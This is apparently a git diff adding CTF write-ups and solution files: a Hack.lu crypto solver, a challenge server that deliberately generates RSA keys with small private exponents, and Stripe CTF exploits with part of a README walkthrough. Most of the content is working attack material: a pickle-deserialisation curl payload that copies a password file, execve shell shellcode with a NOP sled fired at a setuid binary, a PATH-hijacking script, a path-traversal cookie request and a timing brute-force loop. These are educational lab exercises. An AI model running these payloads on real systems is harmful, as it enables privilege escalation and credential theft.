||||
|
||||
### A Dialogue with Wankoowah
|
||||
|
||||
Now, let's see what Wankoowah has to say:
|
||||
|
||||
```sh
|
||||
$ nc wildwildweb.fluxfingers.net 1433
|
||||
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||
```
|
||||
|
||||
We try a couple of possibilities to check the outputs:
|
||||
```sh
|
||||
$ nc wildwildweb.fluxfingers.net 1433
|
||||
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||
noone
|
||||
Hi noone
|
||||
Cannot find it...
|
||||
Ncat: Broken pipe.
|
||||
|
||||
$ nc wildwildweb.fluxfingers.net 1433
|
||||
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||
makawee
|
||||
Oh its you, Im so sorry. Can we talk now?
|
||||
This is your key of truth
|
||||
50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c
|
||||
With magic I did this:
|
||||
922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65
|
||||
We continue our conversation, right?
|
||||
|
||||
|
||||
```
|
||||
|
||||
The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*...
|
||||
|
||||
|
||||
### A Dialogue with Makawee
|
||||
|
||||
Let's see what Makawee has to say:
|
||||
|
||||
```sh
|
||||
$ nc wildwildweb.fluxfingers.net 1434
|
||||
Hi, I'm, Makawee, and you are? Too bright here...
|
||||
noone
|
||||
noone ... do I know you?
|
||||
Cannot find it...
|
||||
|
||||
Ncat: Broken pipe.
|
||||
|
||||
$ nc wildwildweb.fluxfingers.net 1434
|
||||
Hi, I'm, Makawee, and you are? Too bright here...
|
||||
wahkoowah
|
||||
I dont talk to you anymore. That thing with my daughter...
|
||||
|
||||
Ncat: Broken pipe.
|
||||
```
|
||||
|
||||
Mmmm, we need to make Makawee use Wankoowah's key without him knowing it!
|
||||
|
||||
Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee:
|
||||
|
||||
```sh
|
||||
$ nc wildwildweb.fluxfingers.net 1432
|
||||
Hi I'm Chapawee. I know the truth about the stars
|
||||
Say stars for more
|
||||
stars
|
||||
|
||||
I can tell you the truth about
|
||||
* stars
|
||||
* constellation
|
||||
* namestar [starname] [key_of_truth] Adds a public key to a user.
|
||||
Existing users cannot be
|
||||
overwritten. Input is
|
||||
[a-f0-9]{1,700}.
|
||||
* showstar [starname] Reads the public key from the
|
||||
database.
|
||||
|
||||
namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
|
||||
Add the star to the sky...
|
||||
Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
|
||||
```
|
||||
|
||||
Sending it to Makawee:
|
||||
```sh
|
||||
$ nc wildwildweb.fluxfingers.net 1434
|
||||
Hi, I'm, Makawee, and you are? Too bright here...
|
||||
mrwhite
|
||||
mrwhite ... do I know you?
|
||||
Disguise does not help
|
||||
```
|
||||
|
||||
Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky...
|
||||
|
||||
|
||||
## Crafting a Solution
|
||||
|
||||
### Master in Disguising
|
||||
|
||||
Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value.
|
||||
|
||||
It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale!
|
||||
|
||||
Let's take a look again at the way the messages are generated:
|
||||
|
||||

|
||||
|
||||
We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk.
|
||||
|
||||
That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key.
|
||||
|
||||
|
||||
### Automatizing the Process and getting the Flag!
|
||||
|
||||
|
||||
All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag.
|
||||
|
||||
Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process:
|
||||
|
||||
```python
|
||||
import socket
|
||||
|
||||
PORTm = 1434
|
||||
PORTw = 1433
|
||||
HOST = 'wildwildweb.fluxfingers.net'
|
||||
|
||||
def peace_pipe():
|
||||
|
||||
""" Get the magic message from some user to calculate rm """
|
||||
# create sockets
|
||||
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# connect to w
|
||||
sw.connect((HOST, PORTw))
|
||||
sw.recv(4096)
|
||||
sw.send(b'makawee')
|
||||
sw.recv(4096)
|
||||
sec = sw.recv(4096)
|
||||
tw = sec.split("did this:")[1].split("\n")[1].strip()
|
||||
print "\nMagic from w to m: " + tw
|
||||
|
||||
# connect to m
|
||||
sm.connect((HOST, PORTm))
|
||||
sm.recv(4096)
|
||||
sm.send(b'mrblack')
|
||||
sm.recv(4096)
|
||||
sec = sm.recv(4096)
|
||||
tm = sec.split("did this:")[1].split("\n")[1].strip()
|
||||
print "\nMagic from m to w: " + tm
|
||||
|
||||
# send w's magic to m's
|
||||
sm.send(tw)
|
||||
print sm.recv(4096)
|
||||
|
||||
# send m's magic to get the token
|
||||
sw.send(tm)
|
||||
token = sw.recv(4096)
|
||||
token = token.split('\n')[1].strip()
|
||||
print "Token is: " + token
|
||||
|
||||
# finally, send token back to m
|
||||
sm.send(token)
|
||||
print sm.recv(4096)
|
||||
|
||||
sm.close()
|
||||
sw.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
peace_pipe()
|
||||
```
|
||||
|
||||
|
||||
Running it leads us to the flag:
|
||||
```sh
|
||||
python 300_peace_pipe.py
|
||||
|
||||
Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0
|
||||
|
||||
Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9
|
||||
Bit more truth is missing
|
||||
|
||||
Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A=
|
||||
I knew you are able to see IT. Lets get drunk, I tell you where
|
||||
flag{FreeBoozeForEverone-Party!}
|
||||
```
|
||||
|
|
@ -0,0 +1,337 @@
|
|||
#!/usr/bin/env python
|
||||
import random
|
||||
import gmpy
|
||||
import os
|
||||
import asyncio
|
||||
import base64
|
||||
import shutil
|
||||
import traceback
|
||||
import tempfile
|
||||
import argparse
|
||||
import aiopg
|
||||
import logging
|
||||
import collections
|
||||
import pyasn1_modules.rfc3447
|
||||
import pyasn1.codec.ber.encoder
|
||||
import concurrent.futures
|
||||
|
||||
|
||||
TARGET_USERNAME = "deputies"
|
||||
DB = {'database': 'wiener', 'user': TARGET_USERNAME}
|
||||
ADMIN_NAME = "sheriff"
|
||||
AUTH_KEYS_PATH = os.path.join(
|
||||
"/", "home", TARGET_USERNAME, ".ssh", "authorized_keys")
|
||||
EXECUTOR = concurrent.futures.ProcessPoolExecutor()
|
||||
|
||||
auth_keys_lock = asyncio.Lock()
|
||||
logging.getLogger('asyncio').setLevel(logging.ERROR)
|
||||
prng = random.SystemRandom()
|
||||
messages = {
|
||||
'welcome': ("Well if it isn't another one of those shave tails again. "
|
||||
"Don't you dare think this is gonna be an easy job here, we "
|
||||
"take no coffee boilers just so ya' know. If you're sure you "
|
||||
"want to join our deputy ranks, just apply here. If you got "
|
||||
"any problems just lemme know by typing 'h'."),
|
||||
'access': ('Oh and you can find all lockers by going '
|
||||
'to the "Secure Sheriff\'s Huddle" with the number 1427 on the '
|
||||
'door and tell the doorman you are a "deputies". Of course you '
|
||||
'are not a "sheriff"!'),
|
||||
'new_private_key': ("Here is your locker code. Don't you dare loose it or "
|
||||
"I'm gonna knock you galley west!"),
|
||||
'new_public_key': "And that's your lock.",
|
||||
'key_validity': ("Your locker code is only valid for 30 minutes. If you "
|
||||
"don't need it, I'm gonna trash your lock, boy!"),
|
||||
'new_username': ("I'm gonna call you %s from now on. I don't wanna hear "
|
||||
"any bellyaching about it!"),
|
||||
'get_public_get': "Here this is %s's lock. Why do you need it, hmm?",
|
||||
'get_pubkey_query': "So whose lock do you wanna see? ",
|
||||
'invalid_user': "Don't know him, get lost!",
|
||||
'cmd_unknwown': "What? No way you get THAT!",
|
||||
'unkown_error': "We seem to be having some problems here. We'll fix it.",
|
||||
'help_prefix': "These are the questions you can ask me:",
|
||||
}
|
||||
|
||||
|
||||
def get_message(key, *params, with_newline=True):
|
||||
nl = '\n' if with_newline else ''
|
||||
return ((messages[key] % params) + nl).encode('utf-8')
|
||||
|
||||
#
|
||||
# Actions
|
||||
#
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_help(reader, writer, conn):
|
||||
"""
|
||||
Ask the sheriff for help. He might not react too friendly...
|
||||
"""
|
||||
writer.write(get_message('help_prefix'))
|
||||
out = []
|
||||
for key, handler in actions.items():
|
||||
out.append("%s: %s" % (key, handler.__doc__.strip()))
|
||||
writer.writelines([(s + '\n').encode("utf-8") for s in out])
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_register(reader, writer, conn):
|
||||
"""
|
||||
Get a lock and a locker code. This way you can also unlock the shared locker for everyone!
|
||||
"""
|
||||
uname, id_ = yield from new_username(conn)
|
||||
priv_key, pub_key = yield from get_keypair(uname)
|
||||
with (yield from auth_keys_lock):
|
||||
with open(AUTH_KEYS_PATH, "ab") as f:
|
||||
f.seek(0, 2)
|
||||
f.write(pub_key + b'\n')
|
||||
writer.write(get_message('new_private_key'))
|
||||
writer.write(priv_key)
|
||||
writer.write(get_message('new_public_key'))
|
||||
writer.write(pub_key + b"\n")
|
||||
writer.write(get_message('new_username', uname.lower()))
|
||||
writer.write(get_message('key_validity'))
|
||||
writer.write(get_message('access'))
|
||||
cur = yield from conn.cursor()
|
||||
try:
|
||||
yield from cur.execute(
|
||||
'UPDATE users SET public_key=%s, username=%s WHERE id=%s',
|
||||
(pub_key.decode("utf-8"), uname, id_))
|
||||
finally:
|
||||
cur.close()
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_list(reader, writer, conn):
|
||||
"""
|
||||
Get a list of all guys that have locks.
|
||||
"""
|
||||
cur = yield from conn.cursor()
|
||||
out = []
|
||||
try:
|
||||
yield from cur.execute('SELECT username FROM users')
|
||||
for username, in (yield from cur.fetchall()):
|
||||
out.append(("- %s\n" % username).encode("utf-8"))
|
||||
finally:
|
||||
cur.close()
|
||||
writer.write(b"".join(out))
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def do_get_pubkey(reader, writer, conn):
|
||||
"""
|
||||
Get the lock for a particular guy. Why would you need that?
|
||||
"""
|
||||
writer.write(get_message('get_pubkey_query', with_newline=False))
|
||||
uname = (yield from reader.readline()).decode("utf-8").strip().lower()
|
||||
cur = yield from conn.cursor()
|
||||
try:
|
||||
yield from cur.execute(
|
||||
'SELECT public_key FROM users WHERE username=%s',
|
||||
(uname,))
|
||||
result = yield from cur.fetchone()
|
||||
finally:
|
||||
cur.close()
|
||||
if result:
|
||||
pub_key, = result
|
||||
writer.write(get_message('get_public_get', uname))
|
||||
writer.write((pub_key + '\n').encode("utf-8"))
|
||||
else:
|
||||
writer.write(get_message('invalid_user'))
|
||||
|
||||
|
||||
actions = collections.OrderedDict()
|
||||
actions['h'] = do_help
|
||||
actions['r'] = do_register
|
||||
actions['l'] = do_list
|
||||
actions['p'] = do_get_pubkey
|
||||
|
||||
#
|
||||
# Helpers
|
||||
#
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def new_username(conn):
|
||||
cur = yield from conn.cursor()
|
||||
try:
|
||||
yield from cur.execute(
|
||||
'INSERT INTO users DEFAULT VALUES RETURNING id')
|
||||
new_id = yield from cur.fetchone()
|
||||
new_user = 'user%d' % new_id
|
||||
finally:
|
||||
cur.close()
|
||||
return new_user, new_id
|
||||
|
||||
|
||||
def asn1_encode_priv_key(N, e, d, p, q):
|
||||
key = pyasn1_modules.rfc3447.RSAPrivateKey()
|
||||
dp = d % (p - 1)
|
||||
dq = d % (q - 1)
|
||||
qInv = gmpy.invert(q, p)
|
||||
assert (qInv * q) % p == 1
|
||||
key.setComponentByName('version', 0)
|
||||
key.setComponentByName('modulus', N)
|
||||
key.setComponentByName('publicExponent', e)
|
||||
key.setComponentByName('privateExponent', d)
|
||||
key.setComponentByName('prime1', p)
|
||||
key.setComponentByName('prime2', q)
|
||||
key.setComponentByName('exponent1', dp)
|
||||
key.setComponentByName('exponent2', dq)
|
||||
key.setComponentByName('coefficient', qInv)
|
||||
ber_key = pyasn1.codec.ber.encoder.encode(key)
|
||||
pem_key = base64.b64encode(ber_key).decode("ascii")
|
||||
out = ['-----BEGIN RSA PRIVATE KEY-----']
|
||||
out += [pem_key[i:i + 64] for i in range(0, len(pem_key), 64)]
|
||||
out.append('-----END RSA PRIVATE KEY-----\n')
|
||||
out = "\n".join(out)
|
||||
return out.encode("ascii")
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def ssh_encode_pub_key(keypath, uname):
|
||||
p = yield from asyncio.create_subprocess_exec(
|
||||
"ssh-keygen", "-y", "-f", keypath, stdout=asyncio.subprocess.PIPE)
|
||||
out = yield from p.stdout.read()
|
||||
return out.strip() + b' ' + uname.encode("ascii")
|
||||
|
||||
|
||||
def get_prime(size):
|
||||
while True:
|
||||
val = prng.getrandbits(size)
|
||||
if gmpy.is_prime(val):
|
||||
return val
|
||||
|
||||
|
||||
def test_key(N, e, d):
|
||||
msg = (N - 1) >> 1
|
||||
c = pow(msg, e, N)
|
||||
if pow(c, d, N) != msg:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def create_parameters(size=2048):
|
||||
p = get_prime(size // 2)
|
||||
q = get_prime(size // 2)
|
||||
N = p * q
|
||||
phi_N = (p - 1) * (q - 1)
|
||||
while True:
|
||||
d = prng.getrandbits(size // 5)
|
||||
e = int(gmpy.invert(d, phi_N))
|
||||
if (e * d) % phi_N == 1:
|
||||
break
|
||||
|
||||
assert test_key(N, e, d)
|
||||
return N, e, d, p, q
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def get_keypair(uname):
|
||||
loop = asyncio.get_event_loop()
|
||||
params_coro = loop.run_in_executor(EXECUTOR, create_parameters)
|
||||
N, e, d, p, q = yield from params_coro
|
||||
priv_key = asn1_encode_priv_key(N, e, d, p, q)
|
||||
with tempfile.NamedTemporaryFile() as priv_file:
|
||||
priv_file.write(priv_key)
|
||||
priv_file.flush()
|
||||
pub_key = yield from ssh_encode_pub_key(priv_file.name, uname)
|
||||
return priv_key, pub_key
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def cleanup_old_users(conn):
|
||||
print("Cleanup task is running now.")
|
||||
while True:
|
||||
cur = yield from conn.cursor()
|
||||
yield from cur.execute("BEGIN")
|
||||
try:
|
||||
yield from cur.execute('SELECT COUNT(*) FROM users')
|
||||
old_count, = yield from cur.fetchone()
|
||||
yield from cur.execute(
|
||||
"DELETE FROM users WHERE creation_date < "
|
||||
"CURRENT_TIMESTAMP - interval '30 minutes' "
|
||||
"AND username != %s OR public_key IS NULL",
|
||||
(ADMIN_NAME,))
|
||||
yield from cur.execute('SELECT COUNT(*) FROM users')
|
||||
new_count, = yield from cur.fetchone()
|
||||
yield from cur.execute(
|
||||
'SELECT public_key FROM users WHERE username != %s',
|
||||
(ADMIN_NAME,))
|
||||
with (yield from auth_keys_lock):
|
||||
AUTH_KEYS_PATH_NEW = AUTH_KEYS_PATH + '.new'
|
||||
with open(AUTH_KEYS_PATH_NEW, "wb") as f:
|
||||
for public_key, in (yield from cur.fetchall()):
|
||||
f.write(public_key.encode("utf-8"))
|
||||
f.write(b'\n')
|
||||
shutil.move(AUTH_KEYS_PATH_NEW, AUTH_KEYS_PATH)
|
||||
print("Deleted %d old keys" % (old_count - new_count))
|
||||
except Exception:
|
||||
yield from cur.execute("ROLLBACK")
|
||||
raise
|
||||
else:
|
||||
yield from cur.execute("COMMIT")
|
||||
finally:
|
||||
cur.close()
|
||||
yield from asyncio.sleep(15 * 60)
|
||||
|
||||
|
||||
def cleanup_done(t, conn):
|
||||
POOL.release(conn)
|
||||
e = t.exception()
|
||||
if e:
|
||||
traceback.print_exception(e.__class__, e, e.__traceback__)
|
||||
|
||||
|
||||
@asyncio.coroutine
|
||||
def handle(reader, writer):
|
||||
conn = yield from POOL.acquire()
|
||||
cur = yield from conn.cursor()
|
||||
yield from cur.execute("BEGIN")
|
||||
try:
|
||||
writer.write(get_message('welcome'))
|
||||
while True:
|
||||
writer.write(b"Command: ")
|
||||
cmd = (yield from reader.readline()).decode("utf-8").strip()
|
||||
if not cmd and reader.at_eof():
|
||||
writer.close()
|
||||
break
|
||||
try:
|
||||
yield from (actions[cmd](reader, writer, conn))
|
||||
except KeyError:
|
||||
writer.write(get_message('cmd_unknwown'))
|
||||
except Exception as e:
|
||||
writer.write(get_message('unkown_error'))
|
||||
traceback.print_exception(e.__class__, e, e.__traceback__)
|
||||
except Exception:
|
||||
yield from cur.execute("ROLLBACK")
|
||||
else:
|
||||
yield from cur.execute("COMMIT")
|
||||
finally:
|
||||
cur.close()
|
||||
POOL.release(conn)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--port', '-p', metavar='PORT', type=int,
|
||||
required=True)
|
||||
args = parser.parse_args()
|
||||
server = asyncio.start_server(handle, port=args.port)
|
||||
server_task = asyncio.Task(server)
|
||||
loop = asyncio.get_event_loop()
|
||||
|
||||
# Initialize connection pool
|
||||
POOL = loop.run_until_complete(aiopg.create_pool(maxsize=100, **DB))
|
||||
|
||||
# Cleanup task setup
|
||||
cleanup_conn = loop.run_until_complete(POOL.acquire())
|
||||
cleaner_task = asyncio.Task(cleanup_old_users(cleanup_conn))
|
||||
cleaner_task.add_done_callback(lambda t: cleanup_done(t, cleanup_conn))
|
||||
try:
|
||||
print("Starting main loop, accepting connections now.")
|
||||
loop.run_forever()
|
||||
finally:
|
||||
EXECUTOR.shutdown()
|
||||
server.close()
|
||||
loop.run_until_complete(POOL.clear())
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
import pickle, os
|
||||
HOST = 'localhost:9020'
|
||||
|
||||
os.execve("/usr/bin/curl", ['', HOST, '-d', \
|
||||
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
|
||||
> /tmp/pass'\ntR."], {})
|
||||
12
CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode.py
Normal file
12
CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/1/shellcode.py
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
import struct, subprocess
|
||||
|
||||
STACK = 0x0804857b
|
||||
NOP = \x90
|
||||
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
|
||||
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
|
||||
|
||||
stack_ptr = struct.pack("<I", STACK) * 500
|
||||
array = "%s%s" % (EXPLOIT, stack_ptr)
|
||||
|
||||
while 1:
|
||||
subprocess.call(["/levels/level04", array])
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
shell: simplest_shellcode.c
|
||||
gcc -static -g -o shell simplest_shellcode.c
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
as --32 -o s.o s.s
|
||||
ld -m elf_i386 -o s s.o
|
||||
./s
|
||||
objdump -d s
|
||||
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
#include <stdlib.h>
|
||||
int main()
|
||||
{
|
||||
char *array[2];
|
||||
array[0] = "/bin/sh";
|
||||
array[1] = NULL;
|
||||
execve(array[0], array, NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
.code32
|
||||
.text
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
xorl %eax, %eax /* We need to push a null terminated string to the stack */
|
||||
pushl %eax /* So first, push a null */
|
||||
pushl $0x68732f2f /* Push //sh */
|
||||
pushl $0x6e69622f /* push /bin */
|
||||
movl %esp, %ebx /* Store the %esp of /bin/sh into %ebx */
|
||||
pushl %eax /* Since eax is still null, let's use it again */
|
||||
pushl %ebx /* Now we can writ the /bin/sh again for **argv */
|
||||
movl %esp, %ecx /* Write argv into %ecx */
|
||||
xorl %edx, %edx /* NULL out edx */
|
||||
movb $0xb, %al /* Write syscall 11 into %al */
|
||||
int $0x80 /* Interrupt the system */
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
!#/bin/sh
|
||||
cd /tmp
|
||||
echo '/bin/cat /home/level01/.password > date'
|
||||
chmod +x date
|
||||
export PATH=$PWD
|
||||
/levels/level01/level01
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
!#/bin/sh
|
||||
$ /levels/level03 -20 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
#!/bin/sh
|
||||
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
#!/bin/bash
|
||||
|
||||
for c in {A..Z} {a..z} {0..9}; do
|
||||
echo $c
|
||||
head -c35 file & sleep 0.1
|
||||
/levels/level06 /home/the-flag/.password "$c"A 2> file
|
||||
done
|
||||
575
CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md
Normal file
575
CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md
Normal file
|
|
@ -0,0 +1,575 @@
|
|||
# The First Stripe CTF
|
||||
|
||||
This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up).
|
||||
|
||||
This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://bt3gl.github.io/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://bt3gl.github.io/cryptography-war-beating-krypton.html)).
|
||||
|
||||
|
||||
|
||||
---
|
||||
## Level 1: Environment Variables
|
||||
|
||||
When I booted the image, I got this first message:
|
||||
|
||||

|
||||
|
||||
In the *level01* folder I found:
|
||||
|
||||
* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group).
|
||||
|
||||
* The C source code of this binary:
|
||||
|
||||

|
||||
|
||||
Checking the code closely we notice the following lines:
|
||||
```
|
||||
printf("Current time: ");
|
||||
fflush(stdout);
|
||||
system("date");
|
||||
```
|
||||
|
||||
A vulnerability becomes quite obvious!
|
||||
|
||||
First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**.
|
||||
|
||||
Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29).
|
||||
|
||||
It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password.
|
||||
|
||||
Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function.
|
||||
|
||||
The final script that leads to the next level's password looks like this:
|
||||
|
||||
```
|
||||
#!/bin/sh
|
||||
cd /tmp
|
||||
echo '/bin/cat /home/level01/.password > date'
|
||||
chmod +x date
|
||||
export PATH=`pwd`:$PATH
|
||||
/levels/level01/level01
|
||||
```
|
||||
|
||||
---
|
||||
## Level 2: Client's Cookies
|
||||
|
||||
This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data.
|
||||
|
||||
The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *You’re NAME, and your age is AGE*.
|
||||
|
||||
Inspecting closely the code we see that the client's cookie is read without sanitizing its content:
|
||||
|
||||
```
|
||||
<?php
|
||||
$out = '';
|
||||
if (!isset($_COOKIE['user_details'])) {
|
||||
setcookie('user_details', $filename);
|
||||
}
|
||||
else {
|
||||
$out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
|
||||
}
|
||||
?>
|
||||
```
|
||||
And then the results of this read is printed:
|
||||
```
|
||||
<html>
|
||||
<p><?php echo $out ?></p>
|
||||
</html>
|
||||
```
|
||||
|
||||
An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*.
|
||||
|
||||
The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like:
|
||||
|
||||
```
|
||||
Cookie: user_details=../../home/level02/.password
|
||||
```
|
||||
|
||||
Interestingly, it is also possible to solve this problem with just one instruction in the command line:
|
||||
|
||||
```
|
||||
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
|
||||
```
|
||||
|
||||
Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent.
|
||||
|
||||
